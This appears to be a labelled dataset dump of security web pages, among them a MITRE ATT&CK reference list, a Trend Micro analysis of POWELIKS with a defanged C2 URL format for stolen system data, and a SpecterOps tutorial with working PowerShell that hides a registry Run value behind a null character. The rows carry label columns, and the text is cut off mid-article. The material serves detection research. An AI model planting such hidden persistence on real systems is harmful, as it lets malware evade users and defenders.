Hromcov\xc3\xa1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018. Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018. Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018. Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. US-CERT. (2018, June 14). MAR-10135536-12 \xe2\x80\x93 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\xc3\xa4nging technique. Retrieved May 22, 2018. Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018. Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017. TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018. Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018. Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018. Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018. Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018. FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017. Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017. FireEye. (2015). APT28: A WINDOW INTO RUSSIA\xe2\x80\x99S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018. Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018. US-CERT. (2018, August 09). MAR-10135536-17 \xe2\x80\x93 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018. US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. US-CERT. (2019, April 10). MAR-10135536-8 \xe2\x80\x93 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: ""njRAT"" Uncovered. Retrieved June 4, 2019. Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019. Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019. ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019. US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018. Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \xe2\x80\x93 A potential new malicious tool. Retrieved June 25, 2018. FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018. Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018. Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019. Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019. Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018. Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Reghide - Windows Sysinternals | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Reghide 01/11/2006 2 minutes to read In this article Published: November 1, 2006 Download RegHide (38 KB) Run now from Sysinternals Live. Introduction A subtle but significant difference between the Win32 API and the Native API (see Inside the Native API for more information on this largely undocumented interface) is the way that names are described. In the Win32 API strings are interpreted as NULL-terminated ANSI (8-bit) or wide character (16-bit) strings. In the Native API names are counted Unicode (16-bit) strings. While this distinction is usually not important, it leaves open an interesting situation: there is a class of names that can be referenced using the Native API, but that cannot be described using the Win32 API. Download RegHide (38 KB) Run now from Sysinternals Live. Runs on: Client: Windows Vista and higher. Server: Windows Server 2008 and higher. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"POWELIKS: Malware Hides In Windows Registry - TrendLabs Security Intelligence Blog Trend Micro About TrendLabs Security Intelligence Blog Search: Go to\xe2\x80\xa6 Home Categories - \xc2 \xc2 Ransomware - \xc2 \xc2 Vulnerabilities - \xc2 \xc2 Exploits - \xc2 \xc2 Targeted Attacks - \xc2 \xc2 Deep Web - \xc2 \xc2 Mobile - \xc2 \xc2 Internet of Things - \xc2 \xc2 Malware - \xc2 \xc2 Bad Sites - \xc2 \xc2 Spam - \xc2 \xc2 Botnets - \xc2 \xc2 Social - \xc2 \xc2 Open source Home Categories Ransomware Vulnerabilities Exploits Targeted Attacks Deep Web Mobile Internet of Things Malware Bad Sites Spam Botnets Social Open source Home \xc2 \xc2 \xc2\xbb\xc2 \xc2 Malware \xc2 \xc2 \xc2\xbb\xc2 \xc2 POWELIKS: Malware Hides In Windows Registry POWELIKS: Malware Hides In Windows Registry Posted on:August 1, 2014 at 4:50 am Posted in:Malware Author: Roddell Santos (Threats Analyst) 2 We spotted a malware that hides all its malicious codes in the Windows Registry. The said tactic provides evasion and stealth mechanisms to the malware, which Trend Micro detects as TROJ_POWELIKS.A. \xc2 When executed, TROJ_POWELIKS.A downloads files, which can cause further system infection.\xc2 Systems affected by this malware risk being infected by other malware, thus causing further system infection. In addition, it has the capability to steal system information, which may be used by cybercriminals to launch other attacks. Evasion Mechanism Apart from stealth mechanism, this may also provide difficulty in forensics because there are no file references. As much as possible, threats tried to avoid being detected in the system and network in order to instigate more malicious activities. Based on our analysis, TROJ_POWELIKS checks if Windows PowerShell is installed on the affected system, if not, it downloads and installs it to the infected system.\xc2 This will be used later to execute the encoded script file. As such, PowerShell runs the encoded script containing the malware\xe2\x80\x99s executable code (which is also a .DLL) responsible for downloading other malicious files onto the infected system. This technique is done as part of its evasion tactic since it will not be directly executed by windows or any application. It then creates a blank or NULL Autostart entry using the API ZwSetValueKey: This is not necessarily a new feature and is documented in\xc2 MSDN. Through a NULL registry value, users cannot see the content of the registry key with null value. Although there is an option to delete the registry key, deleting it will just result to an error due to the null value. However, the specific data will still execute during the system\xe2\x80\x99s restart without any problem. To put simply, users cannot see and therefore, delete the entry thus when they reboot the system, the malware will still run. It also creates another registry entry that contains the malware code.\xc2 This created registry data is shown below: This registry data is an encoded file. After several decoding, a .DLL file can be found in the following code: This .DLL file is then injected in the normal DLLHOST.EXE process.\xc2 The injected code is capable of downloading other malware, thus compromising the security of the system. It also steals the following information from the affected system: Operating system and architecture UUID Malware version Build date This information is then sent via POST command using the following format: http://178[dot]89[dot]159[dot]34/q/type={status: start, install, exist, cmd or low}&version=1.0&aid={id}&builddate=%s&id={iuuid}&os={OS version}_{OS architecture} We detect the .EXE and .DLL files as TROJ_POWELIKS.A and the encoded script as JS_POWELIKS.A. The hashes used in this threat are: EXE \xe2\x80\x93 BFA2DC3B9956A88A2E56BD6AB68D1F4F675A425A DLL \xe2\x80\x93 3506CE5C88EE880B404618D7759271DED72453FE Impact to the Threat Landscape Cybercriminals often use new tactics and techniques to avoid being detected in the system and remain under the radar. These tactics can be from simple hidden file attributes to the more advance rootkit technology. In the past, we blogged about attacks that exhibit various notable evasion tactics: use of Tor network the abuse of Windows PowerShell feature averting the execution of analysis tools disguising network traffic domain generation algorithm (DGA) tactics seen in DOWNAD Notable malware like EMOTET and MORTO also employed the same tactic of leveraging the registry. EMOTET, which sniffs network activity for information theft, has its PE component in the registry. \xc2 In addition, its (EMOTET) downloaded files are located in the entries. The encrypted stolen information is also stored in the registry entry. On the other hand, MORTO\xc2 was encrypted in the registry. While routine of abusing Windows registry is no longer new, it may indicate that cybercriminals and attackers are continuously improving their \xe2\x80\x98arsenal\xe2\x80\x99 or malware so as to go undetected and to instigate more malicious activities without the user\xe2\x80\x99s knowledge. The use of registry for evasion tactics is crucial given that file-based AV solution won\xe2\x80\x99t be able to detect anything malicious running on the system. Furthermore, unsuspecting users won\xe2\x80\x99t necessarily check for the registries but rather look for suspicious files or folders. \xc2 We surmise that in the future, we may see other malware sporting the same routines as AV security continuous to grow. Trend Micro protects users from this threat via its Smart Protection Network that detects the malicious file despite its evasion tactics. With additional analysis from Rhena Inocencio Learn how to protect Enterprises, Small Businesses, and Home Users from ransomware: ENTERPRISE \xc2\xbb SMALL BUSINESS\xc2\xbb HOME\xc2\xbb Tags: powerlikswindows registry Featured Stories systemd Vulnerability Leads to Denial of Service on Linux qkG Filecoder: Self-Replicating, Document-Encrypting Ransomware Mitigating CVE-2017-5689, an Intel Management Engine Vulnerability A Closer Look at North Korea\xe2\x80\x99s Internet From Cybercrime to Cyberpropaganda Security Predictions for 2019 Our security predictions for 2019 are based on our experts\xe2\x80\x99 analysis of the progress of current and emerging technologies, user behavior, and market trends, and their impact on the threat landscape. We have categorized them according to the main areas that are likely to be affected, given the sprawling nature of the technological and sociopolitical changes under consideration. Read our security predictions for 2019. Business Process Compromise Attackers are starting to invest in long-term operations that target specific processes enterprises rely on. They scout for vulnerable practices, susceptible systems and operational loopholes that they can leverage or abuse. To learn more, read our Security 101: Business Process Compromise. Recent Posts When PSD2 Opens More Doors: The Risks of Open Banking Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload Hacking LED Wristbands: A \xe2\x80\x98Lightning\xe2\x80\x99 Recap of RF Security Basics From BinDiff to Zero-Day: A Proof of Concept Exploiting CVE-2019-1208 in Internet Explorer September Patch Tuesday Bears More Remote Desktop Vulnerability Fixes and Two Zero-Days Popular Posts TA505 At It Again: Variety is the Spice of ServHelper and FlawedAmmyy BlackSquid Slithers Into Servers and Drives With 8 Notorious Exploits to Drop XMRig Miner Adware Posing as 85 Photography and Gaming Apps on Google Play Installed Over 8 Million Times Uncovering a MyKings Variant With Bootloader Persistence via Managed Detection and Response Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi Stay Updated Email Subscription Subscribe Home and Home Office | For Business | Security Intelligence | About Trend Micro Asia Pacific Region (APAC): Australia / New Zealand, \xe4\xb8\xad\xe5\x9b\xbd, \xe6\x97\xa5\xe6\x9c\xac, \xeb\x8c\x80\xed\x95\x9c\xeb\xaf\xbc\xea\xb5\xad, \xe5\x8f\xb0\xe7\x81\xa3 Latin America Region (LAR): Brasil, M\xc3\xa9xico North America Region (NABU): United States, Canada Europe, Middle East, & Africa Region (EMEA): France, Deutschland / \xc3\x96sterreich / Schweiz, Italia, \xd0 \xd0\xbe\xd1\x81\xd1\x81\xd0\xb8\xd1\x8f, Espa\xc3\xb1a, United Kingdom / Ireland Privacy Statement Legal Policies Copyright \xc2\xa9 Trend Micro Incorporated. All rights reserved.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Sign in Get started Posts By SpecterOps Team Members ABOUT ALL POSTS SPECTEROPS.IO Hiding Registry keys with PSReflect Brian Reitz Brian Reitz Follow Jul 14, 2017 \xc2\xb7 7 min read Introduction and Background Recently, I wanted to test detection of different kinds of registry persistence used by malware and APT groups. The Windows registry is a particularly interesting area for blue team detection as \xe2\x80\x9cfileless\xe2\x80\x9d techniques become more prevalent. One technique that has stuck in my mind is a persistence trick used by the Kovter malware family as detailed in a September 2015 report from Symantec, and analyzed by MalwareBytes, Airbus Cybersecurity, and Reaqta. Kovter and its predecessor Poweliks use mshta to execute code stored in registry keys and values. To persist between reboots, Kovter uses a Run key value, but with a small twist: the key value name starts with a null character (\\0), followed by random chars. The null character causes an error when attempting to read the value with Regedit and other techniques that expect a null-terminated string. Using a null-character in a value name to hide from Regedit has been known since at least 2005, and Mark Russinovich previously released a tool called RegHide as part of the Sysinternals Suite as a proof of concept. The old Sysinternals page described why this null character trick worked: \xe2\x80\x9cIn the Win32 API strings are interpreted as NULL-terminated ANSI (8-bit) or wide character (16-bit) strings. In the Native API names are counted Unicode (16-bit) strings. While this distinction is usually not important, it leaves open an interesting situation: there is a class of names that can be referenced using the Native API, but that cannot be described using the Win32 API. [\xe2\x80\xa6] When a key (or any other object with a name such as a named Event, Semaphore or Mutex) is created with such a name any applications using the Win32 API will be unable to open the name, even though they might seem to see it.\xe2\x80\x9d A question from StackOverflow was also extremely helpful explaining the differences between calling the Win32 API and calling the Native API. Regedit will show an error when trying to display a key value with a null character in its name. With PSReflect, we can make calls to the Native API through ntdll.dll from a PowerShell script, so we can implement our own version of RegHide and test our detection capability for Kovter-style key value names. To follow along with the completed script, check out the PSReflect-RegHide gist or scroll to the bottom. Enumerations, structures, and function definitions As a proof of concept, let\xe2\x80\x99s create a Run key like Kovter: we\xe2\x80\x99ll create a value under HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, with a value name of \xe2\x80\x9c\\0abcd\xe2\x80\x9d, and a value of \xe2\x80\x9cmshta javascript:alert(1)\xe2\x80\x9d, which should pop up an alert box on user logon. According to the MSDN article about Registry Key Object Routines, we\xe2\x80\x99ll need at least three calls to write our hidden key value: first, NtOpenKey to open a handle to the key, second, NtSetValueKey to write the key value, and finally NtClose to close the key handle. PSReflect provides helpful functions to easily translate the documented C++ code into PowerShell. We\xe2\x80\x99ll define the enums and structs necessary to make these function calls first. Using MSDN, we can see that NtOpenKey requires the ACCESS_MASK enum and the OBJECT_ATTRIBUTES struct (which itself requires an ATTRIBUTES enum), and NtSetValueKey requires the UNICODE_STRING struct. Let\xe2\x80\x99s look at how to convert UNICODE_STRING into a PSReflect struct. We can \xe2\x80\x9ctranslate\xe2\x80\x9d the C++ data types into PowerShell types, so a USHORT, an unsigned short (16-bit int), becomes a UInt16, and a pointer to a WSTR becomes an IntPtr. For the ACCESS_MASK enum, the DWORD becomes a UInt32. # Define our structs. # https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx # typedef struct _UNICODE_STRING { # USHORT Length; # USHORT MaximumLength; # PWSTR Buffer; # } $UNICODE_STRING = struct $Module UNICODE_STRING @{ Length = field 0 UInt16 MaximumLength = field 1 UInt16 Buffer = field 2 IntPtr } # And our ACCESS_MASK $KEY_ACCESS = psenum $Module KEY_ACCESS UInt32 @{ KEY_QUERY_VALUE = 0x0001 KEY_SET_VALUE = 0x0002 KEY_CREATE_SUB_KEY = 0x0004 KEY_ENUMERATE_SUB_KEYS = 0x0008 KEY_NOTIFY = 0x0010 KEY_CREATE_LINK = 0x0020 KEY_WOW64_64KEY = 0x0100 KEY_WOW64_32KEY = 0x0200 KEY_WRITE = 0x20006 KEY_READ = 0x20019 KEY_EXECUTE = 0x20019 KEY_ALL_ACCESS = 0xF003F } -Bitfield Next, we\xe2\x80\x99ll define the functions that we want to import from ntdll to write to the Registry. Let\xe2\x80\x99s look at NtOpenKey, NtSetValueKey, and NtClose. We specify the DLL name, ntdll, and the entrypoint for the exported function we want, such as NtOpenKey. Again, we can \xe2\x80\x9ctranslate\xe2\x80\x9d the types from the C++ code documented on MSDN into the equivalent PowerShell. HANDLE becomes IntPtr and ULONG becomes UInt32, while for pointer types such as PHANDLE and PUNICODE_STRING, we can use MakeByRefType() to properly pass by reference. Notice that we can use the structs we defined previously (such as UNICODE_STRING). $FunctionDefinitions = @( (func ntdll NtOpenKey ([UInt32]) @( [IntPtr].MakeByRefType(), #_Out_ PHANDLE KeyHandle, [Int32], #_In_ ACCESS_MASK DesiredAccess, $OBJECT_ATTRIBUTES.MakeByRefType() #_In_ POBJECT_ATTRIBUTES ObjectAttributes ) -EntryPoint NtOpenKey), (func ntdll NtSetValueKey ([UInt32]) @( [IntPtr], #_In_ HANDLE KeyHandle, $UNICODE_STRING.MakeByRefType(), #_In_ PUNICODE_STRING ValueName, [Int32], #_In_opt_ ULONG TitleIndex, [Int32], #_In_ ULONG Type, [IntPtr], #_In_opt_ PVOID Data, [Int32] #_In_ ULONG DataSize ) -EntryPoint NtSetValueKey), (func ntdll NtClose ([UInt32]) @( [IntPtr] #_In_ HANDLE ObjectHandle ) -EntryPoint NtClose), ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace RegHide $ntdll = $Type['ntdll'] After calling Add-Win32Type, we now have access to these Native API functions in PowerShell as PowerShell Methods: PS C:\\Users\\brian> $ntdll::NtOpenKey | fl MemberType : Method OverloadDefinitions : {static uint32 NtOpenKey([ref] System.IntPtr , int , [ref] OBJECT_ATTRIBUTES )} TypeNameOfValue : System.Management.Automation.PSMethod Value : static uint32 NtOpenKey([ref] System.IntPtr , int , [ref] OBJECT_ATTRIBUTES ) Name : NtOpenKey IsInstance : True Creating the Autorun key Let\xe2\x80\x99s set up the necessary arguments to open a key. While making a KeyHandle (an empty IntPtr) and an ACCESS_MASK (an Int32) is straightforward, creating an OBJECT_ATTRIBUTES struct takes a bit of set up that is normally handled by a macro. Let\xe2\x80\x99s take care of the easy stuff first: # Create our OBJECT_ATTRIBUTES structure # We don\xe2\x80\x99t have the InitializeObjectAttributes macro, but we can do it manually $ObjectAttributes = [Activator]::CreateInstance($OBJECT_ATTRIBUTES) $ObjectAttributes.Length = $OBJECT_ATTRIBUTES::GetSize() $ObjectAttributes.RootDirectory = [IntPtr]::Zero $ObjectAttributes.Attributes = $OBJ_ATTRIBUTE::OBJ_CASE_INSENSITIVE # These are set to NULL for default Security Settings (mirrors the InitializeObjectAttributes macro). $ObjectAttributes.SecurityDescriptor = [IntPtr]::Zero $ObjectAttributes.SecurityQualityOfService = [IntPtr]::Zero Our ObjectName specifies the registry key we want to open, i.e. HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. The object name for HKCU is in the format \\Registry\\User\\\\, so we\xe2\x80\x99ll have to insert the correct User SID and create a UNICODE_STRING. The ObjectName field takes a pointer to a UNICODE_STRING, so we\xe2\x80\x99ll have to create a pointer to the UNICODE_STRING as well. # To open the Current User\xe2\x80\x99s registry hive, we need the user\xe2\x80\x99s SID $SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value $KeyName = ""\\Registry\\User\\$SID\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"" # We'll have to convert the KeyName from PowerShell string into a UNICODE_STRING $KeyBuffer = [Activator]::CreateInstance($UNICODE_STRING) $ntdll::RtlInitUnicodeString([ref]$KeyBuffer, $KeyName) # Here, we need a pointer to the UNICODE_STRING we created previously. $ObjectAttributes.ObjectName = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($UNICODE_STRING::GetSize()) [System.Runtime.InteropServices.Marshal]::StructureToPtr($KeyBuffer, $ObjectAttributes.ObjectName, $true) Now we have all the arguments needed, so we can make a call to $ntdll:NtOpenKey. $status = $ntdll::NtOpenKey([ref]$KeyHandle, $DesiredAccess, [ref]$ObjectAttributes) Once we have a key handle opened, we can pass that $KeyHandle to other functions such as NtSetValueKey or NtClose. Closing our handle is a simple call: $status = $ntdll::NtClose($KeyHandle) After we open the key handle to the Run key, our next step is to add the hidden value key, so that our \xe2\x80\x9cpayload\xe2\x80\x9d runs at logon. To call NtSetValueKey, we\xe2\x80\x99ll need our key handle, plus the Value Name, its Type, and the Value Data. While we previously used RtlInitUnicodeString to initialize our UNICODE_STRINGs, here we will manually create the structure to put a null character in the string. RtlInitUnicodeString, like other Win32 API calls, searches for the null-terminator (\\0) to determine the end (and the length) of a string, but here we manually specify the length of the string and its buffer, so we can put in whatever characters we\xe2\x80\x99d like in our value name. $ValueName = ""`0abcd"" $ValueData = ""mshta javascript:alert(1)"" $ValueNameBuffer = [Activator]::CreateInstance($UNICODE_STRING) $ValueDataBuffer = [Activator]::CreateInstance($UNICODE_STRING) # Allocate enough space for 2-byte wide characters $ValueNameBuffer.Length = $ValueName.Length * 2 $ValueNameBuffer.MaximumLength = $ValueName.Length * 2 $ValueNameBuffer.Buffer = [System.Runtime.InteropServices.Marshal]::StringToCoTaskMemUni($ValueName) # ValueData doesn't have any `0 characters, so we're good to use RtlInitUnicodeString $ntdll::RtlInitUnicodeString([ref]$ValueDataBuffer, $ValueData) # Fill out the remaining parameters for NtSetValueKey $ValueType = 0x00000001 # REG_SZ Value Type # ""Device and intermediate drivers should set TitleIndex to zero."" $TitleIndex = 0 $status = $ntdll::NtSetValueKey($KeyHandle, [ref]$ValueNameBuffer, $TitleIndex, $ValueType, $ValueDataBuffer.Buffer, $ValueDataBuffer.Length) After calling NtSetValueKey with our arguments, our hidden Run key is created. RegEdit will throw an error when viewing the key, while reg query and PowerShell\xe2\x80\x99s Get-ItemProperty won\xe2\x80\x99t return a value hidden in this way. However, using the Autoruns tool from Sysinternals, we can see (and delete) the value we just created: Conclusion So why bother implementing a trick to obfuscate a registry value that isn\xe2\x80\x99t truly hidden? In my opinion it\xe2\x80\x99s important to examine what techniques various malware and APT tools use, as well as their implementations, so we can understand exactly how to detect and remediate these TTPs. While writing a registry key value name with a null character is a relatively simple example, it\xe2\x80\x99s also a good introduction to how PSReflect makes Native and Win32 API access easy in PowerShell. I wrote the rest of the NtXxxKey routines (NtCreateKey, NtQueryKey, NtQueryValueKey, NtEnumerateKey, NtEnumerateValueKey, NtDeleteKey, and NtDeleteValueKey) and added them to the PSReflect-Functions repo, which maintains a growing number of useful Win32 functions as a PowerShell module. Full source of PSReflect-RegHide.ps1 Cybersecurity Powershell 23 claps Brian Reitz WRITTEN BY Brian Reitz Follow Threat Detection at SpecterOps Posts By SpecterOps Team Members Posts By SpecterOps Team Members Follow Posts from SpecterOps team members on various topics relating information security Write the first response Discover Medium Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch Make Medium yours Follow all the topics you care about, and we\xe2\x80\x99ll deliver the best stories for you to your homepage and inbox. Explore Become a member Get unlimited access to the best stories on Medium \xe2\x80\x94 and support writers while you\xe2\x80\x99re at it. Just $5/month. Upgrade About Help Legal To make Medium work, we log user data. By using Medium, you agree to our Privacy Policy, including cookie policy.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Enable the Remote Registry Service | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Enable the Remote Registry Service 11/17/2009 2 minutes to read In this article Applies To: Windows 7, Windows Server 2008 R2 A registry key value tells Shutdown Event Tracker when to prompt a user for information about an unexpected restart or shutdown. Without remote registry access, Shutdown Event Tracker cannot remotely reset this registry key value after you have provided a reason. Membership in the local Administrators group, or equivalent, on the remote computer is the minimum required to complete this procedure. To enable the Remote Registry service On the computer where you want to record Shutdown Event Tracker data, click Start, click in the Start Search box, type services.msc, and then press ENTER. Microsoft Management Console will start with the Services snap-in open. In the console pane, right-click Remote Registry and click Start. Additional considerations You must be a member of the local Administrators group, or equivalent, on the remote computer to complete this procedure. Additional references Work with Shutdown Event Tracker Shutdown Event Tracker Overview For more information about using Microsoft Management Console, see http://go.microsoft.com/fwlink/?linkid=70036. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"New Malware 'Rover' Targets Indian Ambassador to Afghanistan Menu Tools Playbooks Speaking Events About Us New Malware \xe2\x80\x98Rover\xe2\x80\x99 Targets Indian Ambassador to Afghanistan 9,148 people reacted 0 7 min. read Share By Vicky Ray and Kaoru Hayashi February 29, 2016 at 5:00 PM Category: Malware, Threat Prevention, Unit 42 Tags: OpenAL, OpenCV, Rover, Trojan, VirusTotal On December 24, 2015, Unit 42 identified a targeted attack, delivered via email, on a high profile Indian diplomat, an Ambassador to Afghanistan. The body 